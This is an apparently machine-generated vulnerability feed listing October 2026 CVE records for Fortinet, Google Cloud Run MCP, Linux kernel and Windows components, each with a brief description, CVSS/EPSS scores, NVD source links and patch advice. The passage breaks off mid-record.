NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
An authentication bypass using an alternate path or channel vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9, FortiSandbox 4.2 all versions, FortiSandbox PaaS 5.0.0 through 5.0.6, FortiSandbox PaaS 4.4 all versions, FortiSandbox PaaS 4.2 all versions may allow attacker to execute unauthorized code or commands via crafted HTTP requests

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bucket Squatting in Google Cloud Run MCP versions prior to 1.11.0 on Google Cloud Platform allows an attacker to intercept and access proprietary source code, execute arbitrary...
https://kevwire.com/record/CVE-2026-85297
Bucket Squatting in Google Cloud Run MCP versions prior to 1.11.0 on Google Cloud Platform allows an attacker to intercept and access proprietary source code, execute arbitrary... (Oct 26, 2026).
Bucket Squatting in Google Cloud Run MCP versions prior to 1.11.0 on Google Cloud Platform allows an attacker to intercept and access proprietary source code, execute arbitrary code and exfiltrate data.



Users must upgrade to Cloud Run MCP version 1.11.0 or later.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85297).
Sources:
NVD CVE-2026-85297: https://nvd.nist.gov/vuln/detail/CVE-2026-85297
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
Bucket Squatting in Google Cloud Run MCP versions prior to 1.11.0 on Google Cloud Platform allows an attacker to intercept and access proprietary source code, execute arbitrary code and exfiltrate data.



Users must upgrade to Cloud Run MCP version 1.11.0 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: mptcp: close TOCTOU race while computing rcv_wnd
https://kevwire.com/record/CVE-2026-63867
Linux kernel: mptcp: close TOCTOU race while computing rcv_wnd (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

mptcp: close TOCTOU race while computing rcv_wnd

The MPTCP output path access locklessly the MPTCP-level ack_seq
in multiple times, using possibly different values for the data_ack
in the DSS option and to compute the announced rcv wnd for the same
packet.

Refactor the cote to avoid inconsistencies which may confuse the
peer. Also ensure that the MPTCP level rcv wnd is updated only when
the egress packet actually contains a DSS ack.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63867).
Sources:
NVD CVE-2026-63867: https://nvd.nist.gov/vuln/detail/CVE-2026-63867
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

mptcp: close TOCTOU race while computing rcv_wnd

The MPTCP output path access locklessly the MPTCP-level ack_seq
in multiple times, using possibly different values for the data_ack
in the DSS option and to compute the announced rcv wnd for the same
packet.

Refactor the cote to avoid inconsistencies which may confuse the
peer. Also ensure that the MPTCP level rcv wnd is updated only when
the egress packet actually contains a DSS ack.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Perception Simulation Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-61931
Use after free in Windows Perception Simulation Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Perception Simulation Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-61931).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-61931&date=2026-10-25).
Sources:
NVD CVE-2026-61931: https://nvd.nist.gov/vuln/detail/CVE-2026-61931
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-61931
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-61931&date=2026-10-25
Use after free in Windows Perception Simulation Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ieee802154: 6lowpan: only accept IPv6 packets in lowpan_xmit()
https://kevwire.com/record/CVE-2026-63870
Linux kernel: ieee802154: 6lowpan: only accept IPv6 packets in lowpan_xmit() (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ieee802154: 6lowpan: only accept IPv6 packets in lowpan_xmit()

The aoe driver (or similar) generates a non-IPv6 packet
(e.g., ETH_P_AOE) and queues it for transmission via dev_queue_xmit()
on a 6LoWPAN interface (configured by the user or test case).

Since the packet is not IPv6, the 6LoWPAN header_ops->create function
(lowpan_header_create or header_create) returns early without initializing
the lowpan_addr_info structure in the skb headroom.

In the transmit function (lowpan_xmit), the driver calls lowpan_header
(or setup_header) which unconditionally copies and uses the lowpan_addr_info
from the headroom, which contains uninitialized data.

Fix this by dropping non IPv6 packets.

A similar fix is needed in net/bluetooth/6lowpan.c bt_xmit().
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63870).
Sources:
NVD CVE-2026-63870: https://nvd.nist.gov/vuln/detail/CVE-2026-63870
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

ieee802154: 6lowpan: only accept IPv6 packets in lowpan_xmit()

The aoe driver (or similar) generates a non-IPv6 packet
(e.g., ETH_P_AOE) and queues it for transmission via dev_queue_xmit()
on a 6LoWPAN interface (configured by the user or test case).

Since the packet is not IPv6, the 6LoWPAN header_ops->create function
(lowpan_header_create or header_create) returns early without initializing
the lowpan_addr_info structure in the skb headroom.

In the transmit function (lowpan_xmit), the driver calls lowpan_header
(or setup_header) which unconditionally copies and uses the lowpan_addr_info
from the headroom, which contains uninitialized data.

Fix this by dropping non IPv6 packets.

A similar fix is needed in net/bluetooth/6lowpan.c bt_xmit().

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: wifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap
https://kevwire.com/record/CVE-2026-63869
Linux kernel: wifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

wifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap

When parsing the radiotap header of an injected frame,
ieee80211_parse_tx_radiotap() uses the IEEE80211_RADIOTAP_ANTENNA value
directly as a shift count:

	info->control.antennas |= BIT(*iterator.this_arg);

*iterator.this_arg is an 8-bit value taken straight from the frame
supplied by userspace, so BIT() can be asked to shift by up to 255. That
is undefined behaviour on the unsigned long and is reported by UBSAN:

  UBSAN: shift-out-of-bounds in net/mac80211/tx.c:2174:30
  shift exponent 235 is too large for 64-bit type 'unsigned long'
  Call Trace:
   ieee80211_parse_tx_radiotap+0xadb/0x1950 net/mac80211/tx.c:2174
   ieee80211_monitor_start_xmit+0xb1f/0x1250 net/mac80211/tx.c:2451
   ...
   packet_sendmsg+0x3eb6/0x50f0 net/packet/af_packet.c:3109

info->control.antennas is a 2-bit bitmap (u8 antennas:2), so only antenna
indices 0 and 1 can ever be represented. Ignore any larger value instead
of shifting out of bounds.
CVSS 7.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63869).
Sources:
NVD CVE-2026-63869: https://nvd.nist.gov/vuln/detail/CVE-2026-63869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

wifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap

When parsing the radiotap header of an injected frame,
ieee80211_parse_tx_radiotap() uses the IEEE80211_RADIOTAP_ANTENNA value
directly as a shift count:

	info->control.antennas |= BIT(*iterator.this_arg);

*iterator.this_arg is an 8-bit value taken straight from the frame
supplied by userspace, so BIT() can be asked to shift by up to 255. That
is undefined behaviour on the unsigned long and is reported by UBSAN:

  UBSAN: shift-out-of-bounds in net/mac80211/tx.c:2174:30
  shift exponent 235 is too large for 64-bit type 'unsigned long'
  Call Trace:
   ieee80211_parse_tx_radiotap+0xadb/0x1950 net/mac80211/tx.c:2174
   ieee80211_monitor_start_xmit+0xb1f/0x1250 net/mac80211/tx.c:2451
   ...
   packet_sendmsg+0x3eb6/0x50f0 net/packet/af_packet.c:3109

info->control.antennas is a 2-bit bitmap (u8 antennas:2), so only antenna
indices 0 and 1 can ever be represented. Ignore any larger value instead
of shifting out of bounds.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69596
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69596).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69596&date=2026-10-25).
Sources:
NVD CVE-2026-69596: https://nvd.nist.gov/vuln/detail/CVE-2026-69596
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69596
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69596&date=2026-10-25
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Update allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69633
Heap-based buffer overflow in Windows Update allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Update allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69633).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69633&date=2026-10-25).
Sources:
NVD CVE-2026-69633: https://nvd.nist.gov/vuln/detail/CVE-2026-69633
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69633
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69633&date=2026-10-25
Heap-based buffer overflow in Windows Update allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69634
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69634).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69634&date=2026-10-25).
Sources:
NVD CVE-2026-69634: https://nvd.nist.gov/vuln/detail/CVE-2026-69634
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69634&date=2026-10-25
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69639
Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69639).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69639&date=2026-10-25).
Sources:
NVD CVE-2026-69639: https://nvd.nist.gov/vuln/detail/CVE-2026-69639
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69639&date=2026-10-25
Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-103553
Out-of-bounds read in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103553).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103553&date=2026-10-25).
Sources:
NVD CVE-2026-103553: https://nvd.nist.gov/vuln/detail/CVE-2026-103553
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103553
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103553&date=2026-10-25
Out-of-bounds read in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-103554
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103554).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103554&date=2026-10-25).
Sources:
NVD CVE-2026-103554: https://nvd.nist.gov/vuln/detail/CVE-2026-103554
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103554
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103554&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deadlock in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-103558
Deadlock in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Deadlock in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103558).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103558&date=2026-10-25).
Sources:
NVD CVE-2026-103558: https://nvd.nist.gov/vuln/detail/CVE-2026-103558
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103558
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103558&date=2026-10-25
Deadlock in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-103565
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103565).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103565&date=2026-10-25).
Sources:
NVD CVE-2026-103565: https://nvd.nist.gov/vuln/detail/CVE-2026-103565
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103565
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103565&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: netfilter: nf_tables: add hook transactions for device deletions
https://kevwire.com/record/CVE-2026-63858
Linux kernel: netfilter: nf_tables: add hook transactions for device deletions (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

netfilter: nf_tables: add hook transactions for device deletions

Restore the flag that indicates that the hook is going away, ie.
NFT_HOOK_REMOVE, but add a new transaction object to track deletion
of hooks without altering the basechain/flowtable hook_list during
the preparation phase.

The existing approach that moves the hook from the basechain/flowtable
